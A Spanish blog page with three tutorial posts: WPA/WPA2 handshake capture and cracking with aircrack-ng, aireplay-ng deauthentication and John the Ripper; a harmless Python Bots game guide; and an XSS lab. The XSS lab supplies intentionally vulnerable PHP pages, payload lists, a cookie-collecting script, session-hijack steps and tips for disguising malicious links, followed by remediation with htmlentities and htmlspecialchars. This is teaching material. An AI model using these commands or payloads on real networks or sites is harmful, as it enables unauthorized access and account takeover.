Taller de Seguridad Wireless #4

15:11 0 Comments A+ a-


Introducción

Para poder obtener la clave de una red con cifrado WPA/WPA2, debemos capturar el Handshake de algún cliente y luego desencriptarlo.
Para lo que no sepan lo que es el Handshake se genera en el momento en el que un dispositivo se conecta en una red. La clave pre-compartida puede tener un tamaño de 8 a 63 caracteres, por lo que parece imposible crackear la clave.


Como se muestra en la imagen, el dispositivo envía una solicitud de conexión al router, el router responde pidiendo la clave de acceso, el dispositivo envía la clave de acceso. El router responde a esa autenticación, si es correcta se produce la asociación a la red y el router responde con un OK, es decir, lo asocia a la red.

Esta negociación que se produce, es el Handshake (Apretón de manos) y lo que haremos en este taller, será capturarlo y descifrarlo, ya que la contraseña viene cifrada dentro de él.

No hay ninguna diferencia entre el crackeo de redes WPA o WPA2. El método de autenticación es básicamente el mismo. Por lo que las técnicas a usar son idénticas.

Colocando nuestra interface en modo monitor

Lo que haremos ahora será ver el nombre de nuestra interface, para ello tipeamos lo siguiente:

airmon-ng


En mi caso figuran dos interfaces:

Wlan2: La placa de red que tiene mi notebook
Wlan1: Mi USB Wifi externo

Debido a que la placa de mi notebook no sirve para usarla con aircrack, usaré mi USB Wifi externo, es decir, la Wlan1
Ahora la pondremos en modo monitor con el siguiente comando:

airmon-ng start wlan1


Como muestra la imagen, la coloca en modo monitor
(Monitor mode enablen on mon0)

Scanneo de las redes cercanas

Para ver las redes que tenemos cerca, lanzaremos el siguiente comando:

airodump-ng mon0


Como bien dijimos al principio de este taller, el Handshake se genera a la hora de que un cliente se conecta a la red. Es por ello, que nuestro objetivo ahora será tirar a un cliente conectado, y cuando intente conectarse nuevamente, capturaremos ese Handshake.

Lo que debemos recordar de esta consola, son los siguientes datos:

BSSID (MAC del router)
STATION (MAC del Cliente conectado)
CH (Canal)

Frenamos el scanneo con la siguiente combinación de teclas CTRL + C

Seguido a esto, colocamos el siguiente comando:

airodump-ng mon0 --channel 1 --bssid D8:5D:4C:C7:DC:EE -w /underc0de

Explicaré brevemente los parámetros de este comando:

mon0 (Nuestra interface en modo monitor)
--channel (Canal)
--bssid (MAC del router al que atacaremos)
-w (Nombre del archivo en donde se guardará el handshake)

Volveremos a ver la misma pantalla que la anterior, pero esta vez solo observaremos el movimiento que está generando el router al que atraparemos.

Capturando el Handshake

En una nueva consola, procederemos a conectar uno de los clientes conectados para capturarle el Handshake, para ello, tipearemos el siguiente comando:

aireplay-ng -0 1 -a D8:5D:4C:C7:DC:EE -c 00:25:D3:4C:1B:84 mon0


En caso de que al tipear el comando, aparezca un error como el de la imagen, al mismo comando le añadimos --ignore-negative-one

aireplay-ng -0 1 -a D8:5D:4C:C7:DC:EE -c 00:25:D3:4C:1B:84 mon0 --ignore-negative-one

Esto sucede porque tenemos que aplicarle un parche a nuestro kernel, pero la forma más rápida es añadiendo la extensión al comando como hicimos.

Al ejecutar el comando, veremos como desconecta al cliente conectado, y en la otra consola podremos ver lo siguiente en la parte superior:


Como podemos observar, aparece el [WPA handshake D8:5D:4C:C7:DC:EE]

Eso quiere decir que ya capturamos el Handshake de la red. Ahora podemos cerrar todas las consolas activas e iniciar el proceso de cracking.

Crackeando el Handshake por Fuerza bruta

Para crackear el handshake por fuerza bruta, utilizaremos John The Ripper, el cual es un excelente para este tipo de tareas.

En una consola tipeamos lo siguiente

john –stdout:XX --incremental:YY | aircrack-ng -b D8:5D:4C:C7:DC:EE -w - /underc0de*.cap

En el comando se pueden reemplazar las XX por:

alpha  (solo letras)
digits  (solo números)
alnum   (numeros y letras)
all  (Todos los caracteres incluidos ",.-#%&)

Las YY son los números de caracteres que puede tener la contraseña, si colocamos 8, John the ripper combinará desde 1 hasta 8 caracteres.


Lo malo de esto, es que puede demorar desde minutos a años en sacar una clave. Y depende mucho del hardware que tengamos en nuestra pc.

Crackeando el Handshake por Diccionario

Para poder romper la clave por diccionario, colocaremos en la consola el siguiente comando:

aircrack-ng -w diccionario.txt -b D8:5D:4C:C7:DC:EE /underc0de*.cap

Rapidamente explicaré los parámetros del comando

-w (Nombre del diccionario)
-b (MAC del router)

Y finalmente el nombre del Handshake


 
 

Python Bots v1.0

15:04 0 Comments A+ a-



Python Bots 1.0 es un juego de programacion en el cual deberemos crear desde 0 un bot utilizando el modulo gamefile del cual nos provee la aplicacion y lanzarlo a la batalla.

La API es muy sencilla de usar asi que paso a mostrarles algunas funciones que pueden usar para comenzar a construir sus propias maquinas.

Primero y antes que nada a descargar el juego.

DESCARGA: http://ufpr.dl.sourceforge.net/project/pythonrobocode/pythonbots-v1.zip

El bot requiere de la creacion de las siguientes funciones:

Código: Python
  1. name()
  2.  
  3. startDirection()  #Opcional
  4.  
  5. color()
  6.  
  7. commands()
  8.  
  9. target_spotted(direction)

name() debera retornar el nombre de nuestro bot:


Código: Python
  1. def name():
  2.     return "[Q]3rV[0]"

color() obviamente nos pinta la carroceria

el formato va de la siguiente manera (0,0,0) al (255,255,255)

Como yo lo quiero negro


Código: Python
  1. def color():
  2.     return (0,0,0)
  3.  

startDirection() es opcional y podremos indicarle en que posicion se encuntre le robot cuando el juego inicie.


Código: Python
  1. def startDirection():
  2.     return 90
  3.  

commands() Sobre esta funcion se definiran las acciones que realizara nuestro robot.


Código: Python
  1. gamefile.robotHealth() #Retorna el valor de la salud del robot entre 1-82
  2. gamefile.move(frames) #Se movera determinada cantidad de cuadros
  3. gamefile.stop(frames) #Se parara cada tantos frames
  4. gamefile.fire() #Para realizar disparos
  5. gamefile.turn_left(grados) #Para girar tantos grados a la izquierda
  6. gamefile.turn_right(grados) #Para girar tantos grados a la derecha
  7. gamefile.done() #Este metodo es necesario ya que indica el final de bucle para que las demas acciones puedan seguir repitiendose.
  8. gamefile.spinradar(direction) #Seteamos la direccion en la que girara el radar "RIGHT" o "LEFT"
  9. gamefile.lockradar(TEXT) #Podemos especificar 3 opciones ("GUN" "FREE" "BASE")

target_spotted(direction)

Con esta funcion manejaremos el radar de nuestro tanquesito. Cuando un blanco es detectado por este, la funcion es llamada.

gamefile.pointgun(direction)


Código: Python
  1. def target_spotted(direction):
  2.     gamefile.pointgun(direction)

Para culminar les dejo el motor de un bot que arme, junto con un video de muestra.


Código: Python
  1. import gamefile
  2.  
  3. def name():
  4.     return "[Q]3rV[0]"
  5.  
  6. def colour():
  7.     return (0, 0, 0)
  8.  
  9. def commands():
  10.     gamefile.spinradar("FREE")
  11.     gamefile.lockradar("FREE")
  12.     gamefile.move(200)
  13.     gamefile.fire()
  14.     gamefile.turn_left(100)
  15.     gamefile.fire()
  16.     gamefile.move(300)
  17.     gamefile.fire()
  18.     gamefile.turn_left(100)
  19.     gamefile.fire()
  20.     gamefile.done()
  21.     if gamefile.robotHealth() < 41:
  22.         gamefile.move(200)
  23.         gamefile.fire()
  24.         gamefile.turn_right(100)
  25.         gamefile.fire()
  26.         gamefile.move(300)
  27.         gamefile.fire()
  28.         gamefile.turn_right(100)
  29.         gamefile.fire()
  30.         gamefile.done()
  31.  
  32. def target_spotted(direction):
  33.         gamefile.pointgun((direction)*1.4)
  34.         gamefile.fire()
  35.         gamefile.fire()
  36.         gamefile.fire()



Taller de Seguridad Web #1

8:52 2 Comments A+ a-


1. Introducción.

La sigla XSS significa Cross Site Scripting, el motivo por el cual no se abrevia CSS, es para no confundirlo con las hojas de estilo.
El XSS es una vulnerabilidad muy popular hoy en día y según estadísticas de OWASP, el 90% de los sitios webs son vulnerables y el 70% de esas poseen XSS.

A pesar de que el XSS sea una vulnerabilidad antigua, hasta el día de hoy siguen apareciendo nuevos vectores para explotarla.
Esta vulnerabilidad de seguridad permite a un atacante insertar código HTML o Javascript a un formulario web con el fin de poder obtener información para luego sacarle provecho. Normalmente se utiliza para robar las Cookies del administrador de algún sitio y luego poder usarlas para loguearse con ella. Aunque también es utilizado para hacer Phishing, defaces, etc.

El XSS surge como consecuencia de errores de filtrado de las entradas de usuarios en los sitios web.

Esta vulnerabilidad se suele encontrar la mayoría de las veces en buscadores de páginas webs. Pero en realidad se puede hallar en cualquier sitio que contenga formularios, como lo son formularios de registros, libros de visitas, entre otros.

Los XSS se clasifican de dos formas:

Persistente:

Los XSS Persistentes o Stored, son aquellos que quedan guardados en el sitio vulnerable y puede afectar a cualquier persona que ingrese al website, ya que queda alojado en el sitio y cada persona que entre se verá afectada por el.
Este tipo de vulnerabilidad es muy difícil de encontrar y suele verse en libros de visitas, o algún tipo de formulario de carga. Con esto se podría llegar a hacer un deface colocando un div que ocupe toda la página o con alguna redirección hacia otro sitio.

Reflejado:

El XSS reflejado es aquel que no queda almacenado en la web vulnerable, pero nos puede servir si el XSS viaja por la URL. De esta forma podríamos por medio de la URL, ejecutarle el script a alguien.
Si bien es más difícil sacarle provecho, suele verse en una gran cantidad de sitios, en especial si son buscadores.


2. Taller Práctico | Explotando la Vulnerabilidad.

Reflejado:

En esta primera parte del taller montaremos una plataforma vulnerable a XSS reflejado. Para ello necesitaremos tener un host para montarlo o simplemente tener instalado XAMPP/WAMP en nuestra máquina.

Algo muy importante es que usen Firefox, ya que en otros navegadores, a veces no se muestran las alertas.

Lo que haremos ahora, será abrir un bloc de notas y pondremos el siguiente código:

index.html

Código: HTML5
  1. <html>
  2.         <head>
  3.                 <title>Underc0de XSS Reflejado</title>
  4.         </head>
  5.         <body>
  6. <center>
  7.                         <img src="logo.png">
  8.                         <form action="buscador.php" method="get">
  9.                         Buscador: <input name="buscar" value="" size="50">
  10. <br/>
  11.                         <input type="submit" value="Buscar"/>
  12.                         </form>
  13.                 </center>      
  14. </body>
  15. </html>
  16.  


Una vez guardado, abriremos nuevamente el bloc de notas y pondremos lo siguiente:

buscador.php

Código: HTML5
  1. <html>
  2.         <head>
  3.                 <title>Resultado de la busqueda</title>
  4.         </head>
  5.         <body>
  6. <center>
  7.                         <img src="logo.png">
  8.                         <?php
  9.                         if(isset($_GET[“buscar”]))
  10.                 {
  11.                   $busqueda= $_GET[“buscar”];
  12.                 echo‘<p align=”center”>No se ha encontrado                      ningun resultado que contenga:’.$busqueda.’</p>’;      
  13.                 }
  14.                 ?>
  15.                 </center>      
  16. </body>
  17. </html>


Básicamente lo que hacen estos archivos, es:

El archivo index.html contiene un input en el cual se le ingresa la palabra a buscar. Al presionar sobre el botón buscar, envía esa palabra ingresada al archivo buscador.php y esta muestra esa palabra.

Una vez hecho y comprendido esto, los guardamos y colocamos a ambos ficheros dentro de un directorio dentro de la carpeta htdocs o www (dependiendo de si se usa wamp o xampp), en mi caso se llamara XSS.

Accedemos desde el navegador a nuestro directorio:

En mi caso, sería: http://localhost/xss

Deberíamos ver algo como esto:


Para probar si funciona, colocaremos alguna palabra y presionaremos en el botón buscar:

El resultado será el siguiente:



Como podemos ver, la palabra insertada en el input, es mostrada en este formulario y si miramos la url, podremos observar que dicha palabra también viaja por ahí:

http://localhost/xss/buscador.php?buscar=Underc0de

Como dijimos en un principio, esta vulnerabilidad permite inyectar código HTML en la aplicación web. Para ello colocaremos <h1>Underc0de</h1> y veremos qué es lo que pasa:



Con esto podríamos casi afirmar que esta web es vulnerable a XSS. Para terminar de despejarnos las dudas, insertaremos lo siguiente:

<script>alert('XSS');</script>



Y aquí tenemos nuestro XSS reflejado.

Como podrán ver, en todas las capturas he puesto las URL, y en este caso tenemos:

http://localhost/xss/buscador.php?buscar=<script>alert(‘xss’);</script>

La cual podemos pasar a alguien y así poder ejecutarle el script.

Algo que se suele hacer, es ocultar la URL con algún acortador de direcciones para pasar desapercibido.

Algunas aclaraciones a tener en cuenta:

Vector: <script>alert('XSS');</script>

El vector puede ir variando dependiendo de cómo esté hecho el formulario en donde se está inyectando.

En este caso es fácil, ya que el archivo busqueda.php muestra lo mismo que ingresamos en el index.html

Existen varias variantes para los vectores tales como:

"><script>alert('XSS');</script>
<script>alert(/XSS/);</script>


También podemos utilizar números, con los cuales no hace falta usar comillas ni barras

<script>alert(9);</script>
<script>alert(document.cookie);</script>
<imgsrc='javascript: alert(/XSS/); //.jpg' >


También se pueden filtrar los <> y la barra / utilizando caracteres hexadecimales:

%3Cscript%3alert(/XSS/);%3C%2Fscript%3

Otra de las cosas que se pueden hacer es un bucle:

<script>for(;;)alert("bucle");</script>

Entre muchísimos más que se pueden utilizar dependiendo el sitio web.

Persistente:

Como bien habíamos dicho antes, el XSS persistente es aquel que queda alojado en la vulnerable y puede afectar a todo aquel que lo visite.

A continuación haremos un estilo de libro de visitas el cual será vulnerable a XSS. Para ello, abrimos el bloc de notas, y colocamos el siguiente código:

Index.php

Código: HTML5
  1. <html>
  2.         <head>
  3.                 <title>Libro de visitas</title>
  4.         </head>
  5.         <body>
  6.                 <center>
  7.                         <hr>
  8.                         <h1>Libro de visitas</h1>
  9.                         <hr>
  10.                         <form action="enviar.php" method="POST">
  11.                                 <input name="nombre"type="text"value="Ingresa tu nombre">
  12.                                 <br><br>
  13.                                 <textarea name="comentario">Ingresa tu comentario</textarea>
  14.                                 <br><br>
  15.                                 <input name="enviar" type="submit" value="Enviar">
  16.                         </form>
  17.                         <hr>
  18.                         <h1>Comentarios enviados</h1>
  19.                         <hr>
  20.                         <?phpreadfile('comentarios.txt'); ?>
  21.                 </center>
  22.         </body>
  23. </html>


Enviar.php

Código: PHP
  1. <?php
  2. $nombre = $_POST['nombre'];
  3. $comentario = $_POST['comentario'];
  4. $fecha =date("j-n-Y h:i:s" );
  5. $fp=fopen("comentarios.txt","a+" );
  6. $salida='
  7.                         <div>'.$nombre.', publicado el '.$fecha.'</div>
  8.                         <div>'.$comentario.'</div>
  9.                         <hr>';
  10. fwrite($fp,$salida);
  11. fclose($fp);
  12. header("Location:index.php" );
  13. ?>


Finalmente, creamos un archivo vacío llamado comentarios.txt con permisos de escritura, ya que ahí se guardaran los comentarios de nuestro libro de visitas.

Al igual que al script anterior, lo colocamos en nuestro servidor e ingresamos desde el navegador.

Tendremos algo como esto:


Colocamos nuestro nombre en el campo para ingresar nombre, y en el comentario colocamos el siguiente vector:

<script>alert(/XSS/)</script>


Al dar en el botón enviar, nuestro vector se almacenará en el libro de visitas y cada vez que alguien ingrese al sitio, se ejecutara el script.



3. Robo de Cookies | Uso de estas.

Según Wikipedia,
Una cookie (o galleta informática) es una pequeña información enviada por un sitio web y almacenada en el navegador del usuario, de manera que el sitio web puede consultar la actividad previa del usuario.

Y una de sus principales funciones es:

Llevar el control de usuarios: cuando un usuario introduce su nombre de usuario y contraseña, se almacena una cookie para que no tenga que estar introduciéndolas para cada página del servidor.

En este taller aprenderemos a sacar las cookies de alguna persona que entre al libro de visitas, y si esa persona es el administrador, sus cookies se podrían utilizar para poder hacernos pasar por él, y entrar al panel de administración del sitio web.

Para ello, crearemos el siguiente archivo en php

cookies.php

Código: PHP
  1. <?
  2. $cookie = $_GET['cookie'];
  3. $fff=fopen("cookies.txt","a");
  4. fwrite($fff, "$cookie\n");
  5. fclose($fff);
  6. ?>


Además, en el mismo path en el que estará el archivo cookies.php, debemos crear uno llamado cookies.txt vacio con permisos de escritura.

Ahora nos dirigimos a la página vulnerable y utilizaremos el siguiente vector para capturar las cookies de las personas que ingresen:


Reemplazar http://localhost/xss/cookies.php por la dirección a donde tenemos alojado el script.

Antes de crear el mensaje con la inyección, debemos recordar, que si lo introducimos, siempre que iniciemos al libro de visitas, nos redirigirá al archivo cookie.php por lo que, después de que el administrador haya entrado al sitio, deberemos de editar el mensaje, para eso, vamos a fijarnos en las urls.



Una vez creado, vamos a editar nuestro propio mensaje, copiando la url para después poder volver a editarlo sin entrar al index.



Y ahora sí, lo editamos por nuestra inyección.


Editamos el mensaje y observamos que nos ha redirigido a nuestro propio archivo.


Descartando esa cookie,ya que es la nuestra, esperaremos a que el administrador acceda al sitio.

Minutos después, comprobamos el fichero cookies.txt y observamos esto:


Sabiendo que la primera es nuestra cookie, vamos  a probar con la segunda, esperando a que sea la de un administrador.

Volvemos a nuestra url, para editar el mensaje que habíamos creado, pudiendo así acceder de nuevo al index.


Ahora, para utilizar la cookie que hemos robado, podemos usar varias extensiones, entre ellas, live http headers, tamper data, y cookie manager +, etc…

Buscamos nuestra cookie y la editamos por la que hemos conseguido:


Dejándola así:


Guardamos los cambios y refrescamos el libro de visitas.

Y bingo! Tenemos acceso a la administración.


En caso de que tengamos un XSS reflejado en algún sitio, deberemos armar toda la URL con el vector para robar la cookie, y pasarle esa url a la persona que deseemos, que por lo general suele ser a los admines de las páginas. Pero por lo general, esas urls armadas suelen ser muy evidentes, por lo que se utilizan acortadores de urls para que no sospechen.


4. Arreglando la Vulnerabilidad.

Existen varias formas de solucionar la vulnerabilidad, las más usadas es por medio de:

Conhtmlentities() todos los caracteres que tienen equivalente HTML son convertidos  y de esta forma no deja ni abrir ni cerrar etiquetas HTML. Para aplicarlo al formulario del libro de visitas, simplemente debemos modificar las líneas en donde se pasan las variables $nombre y $comentario, dejándolos de la siguiente forma:
Código: HTML5
  1.                 <div>'.htmlentities($nombre).', publicado el '.$fecha.'</div>
  2.                 <div>'.htmlentities($comentario).'</div>

Una vez modificado, los scripts ya no se ejecutaran en el navegador y nos mostrara correctamente el texto ingresado.


De la misma manera,  solucionaremos la vulnerabilidad en el archivo buscador.php



La otra forma es con htmlspecialchars(), la cual convierte caracteres especiales en entidades HTML y realiza las siguientes conversiones:

•   '"' (comillas dobles) se convierte en '&quot;' cuando ENT_NOQUOTESno está establecido.
•   "'" (comilla simple) se convierte en '&#039;' (o &apos;) sólo cuando ENT_QUOTESestá establecido.
•   '<' (menor que) se convierte en '&lt;'
•   '>' (mayor que) se convierte en '&gt;'
•   '&' (et) se convierte en '&amp;'

Suponiendo que se tiene el siguiente código vulnerable:

Código: PHP
  1. <?php
  2. $pag = $_GET['page'];
  3. if($pag=="index"){
  4.         echo"index";
  5. }
  6. elseif($pag!= ""){
  7. echo"Error: ".$pag." No existe.";
  8. }
  9. ?>

Se aplica de la siguiente forma:

Código: PHP
  1. <?php
  2. $pag = $_GET['page'];
  3. if($pag=="index"){
  4.         echo"index";
  5. }
  6. elseif($pag!= ""){
  7. $pagg=htmlspecialchars($pag, ENT_QUOTES);
  8. echo"Error: ".$pagg." No existe.";
  9. }
  10. ?>

Ambas son similares htmlspecialchars() convierte caracteres que se usan para trabajar con HTML (<, >, ", ' y &), htmlentities() traduce todos aquellos que tengan un equivalente a HTML además de los mencionados antes (Por Ejemplo: vocales acentuadas).

Tutores: Blackdrake - ANTRAX